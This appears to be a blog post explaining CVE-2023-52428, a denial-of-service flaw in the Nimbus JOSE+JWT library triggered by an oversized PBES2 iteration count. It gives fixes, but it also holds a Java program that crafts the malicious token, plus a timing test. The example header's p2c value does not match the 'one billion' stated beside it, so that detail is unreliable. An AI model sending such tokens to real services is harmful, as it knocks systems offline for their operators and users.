Connect2id Nimbus JOSE+JWT is a popular Java library for handling JSON Web Tokens (JWT) and encryption (JOSE). In January 2024, a significant vulnerability was found that can let attackers easily crash services just by sending them a well-crafted JWT. The bug is tracked as CVE-2023-52428.
Below, I break down what happened, how the bug works, its exploit, and how you can protect your systems.
What is CVE-2023-52428?
Nimbus JOSE+JWT versions before 9.37.2 are affected by a Denial of Service (DoS) vulnerability. The problem appears in handling JSON Web Encryption (JWE) tokens that use Password-Based Encryption (PBES2) with PBKDF2 key derivation.
The attack comes from abusing the p2c field, also known as the PBKDF2 iteration count. If the attacker sends a token with an extremely high iteration count, the PasswordBasedDecrypter will spend a huge amount of CPU time processing it, effectively blocking genuine requests and causing a denial of service.
In other words
Sending one malicious JWT can make your app hang for minutes or hours, eat CPUs, and knock your site offline.
Higher values increase security, but also make processing slower.
The problem:
Nimbus JOSE+JWT didn't properly limit how big the attacker-set p2c value can be.
A header of a malicious JWT might look like
{
"alg": "PBES2-HS256+A128KW",
"enc": "A128GCM",
"p2s": "base64-encoded-salt",
"p2c": 100000000
}
That p2c value of 1,000,000,000 (one billion!) makes the server perform one billion key stretches per decryption attempt.
Example Code for Crafting the JWT
Assuming you have the app's password or the decrypting password (not always required for effective DoS):
import com.nimbusds.jose.*;
import com.nimbusds.jose.crypto.*;
import java.util.Base64;
public class CraftEvilJWT {
public static void main(String[] args) throws Exception {
// Payload
Payload payload = new Payload("{\"msg\": \"boom\"}");
// Choose algorithm and encryption
JWEHeader header = new JWEHeader.Builder(
JWEAlgorithm.PBES2_HS256_A128KW, EncryptionMethod.A128GCM)
.pbes2Salt(Base64.getEncoder().encodeToString("randomsalt".getBytes()))
.pbes2Count(1_000_000_000) // Extreme p2c value
.build();
JWEObject jweObject = new JWEObject(header, payload);
// Encrypt with a password
PasswordBasedEncrypter encrypter = new PasswordBasedEncrypter("password".toCharArray());
jweObject.encrypt(encrypter);
// Print out the deadly JWT
String evilJWT = jweObject.serialize();
System.out.println("Malicious JWT: " + evilJWT);
}
}
Note: Even without the correct password, sending such a JWT can trigger resource exhaustion, as the iteration count is processed before validating decryption.
Here's a sample test showing the difference in decryption time
PasswordBasedDecrypter decrypter = new PasswordBasedDecrypter("testpassword".toCharArray());
// Normal iteration count (~10k to 100k)
JWEObject normalJWT = JWEObject.parse(normal_jwt_string);
normalJWT.decrypt(decrypter); // Decrypts fast
// Malicious iteration count (1,000,000,000)
JWEObject evilJWT = JWEObject.parse(evil_jwt_string);
evilJWT.decrypt(decrypter); // Hangs for MINUTES or longer!
Just one input can lock up a request thread for a long time. Flood several such JWTs – your service is toast.
Real-World Risk
- Any website or API using Nimbus JOSE+JWT < 9.37.2 and accepting password-encrypted JWE is at DoS risk.
How to Mitigate
Immediate Fix:
Upgrade to Nimbus JOSE+JWT 9.37.2 or newer.
Extra Safe Coding:
If you must process JWE tokens, set a reasonable upper limit for p2c. For example, don't allow anything above 100,000.
Example in Java
int maxP2c = 100_000;
if (jweHeader.getPBES2Count() > maxP2c) {
throw new SecurityException("p2c too large!");
}
Links & References
- Official CVE detail
- Nimbus JOSE+JWT Changelog
- GitHub Issue Tracking the Bug
- OWASP JWT Cheat Sheet: Algorithm Confusion & Abuse
Conclusion
CVE-2023-52428 is a classic DoS bug: a small tweak by an attacker leads to huge resource consumption on the server. If you use Nimbus JOSE+JWT for password-based JWE, update now and make sure your code never trusts client-provided algorithm parameters blindly.
Stay safe and watch your dependencies!
*If you learned something or have comments, drop a reply below. Remember, keeping libraries up to date is always your first defense.*
Timeline
Published on: 02/11/2024 05:15:08 UTC
Last modified on: 10/16/2024 20:01:01 UTC